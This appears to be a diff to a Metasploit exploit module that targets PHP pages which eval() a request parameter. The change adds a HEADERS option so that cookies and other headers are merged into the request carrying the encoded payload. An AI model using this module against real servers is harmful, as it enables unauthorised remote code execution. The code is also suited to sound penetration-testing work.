@@ -45,6 +45,7 @@ def initialize(info = {})
45
45
register_options (
46
46
[
47
47
OptString . new ( 'URIPATH' , [ true , "The URI to request, with the eval()'d parameter changed to !CODE!" , '/test.php?evalme=!CODE!' ] ) ,
48
+ OptString . new ( 'HEADERS' , [ false , "Any additional HTTP headers to send, cookies for example. Format: \" header:value,header2:value2\" " ] )
48
49
] )
49
50
50
51
end
@@ -60,6 +61,18 @@ def check
60
61
return Exploit ::CheckCode ::Safe
61
62
end
62
63
64
+ def datastore_headers
65
+ headers = datastore [ 'HEADERS' ] ? datastore [ 'HEADERS' ] . dup : ""
66
+ headers_hash = { }
67
+ if headers && !headers . empty?
68
+ headers . split ( ',' ) . each do |header |
69
+ key , value = header . split ( ':' )
70
+ headers_hash [ key ] = value . strip
71
+ end
72
+ end
73
+ headers_hash
74
+ end
75
+
63
76
def exploit
64
77
# very short timeout because the request may never return if we're
65
78
# sending a socket payload
@@ -75,10 +88,9 @@ def exploit
75
88
response = send_request_raw ( {
76
89
'global' => true ,
77
90
'uri' => uri ,
78
- 'headers' => {
91
+ 'headers' => datastore_headers . merge (
79
92
headername => payload . encoded ,
80
- 'Connection' => 'close'
81
- }
93
+ 'Connection' => 'close' )
82
94
} , timeout )
83
95
if response and response . code != 200
84
96
print_error ( "Server returned non-200 status code (#{ response . code } )" )
0 commit comments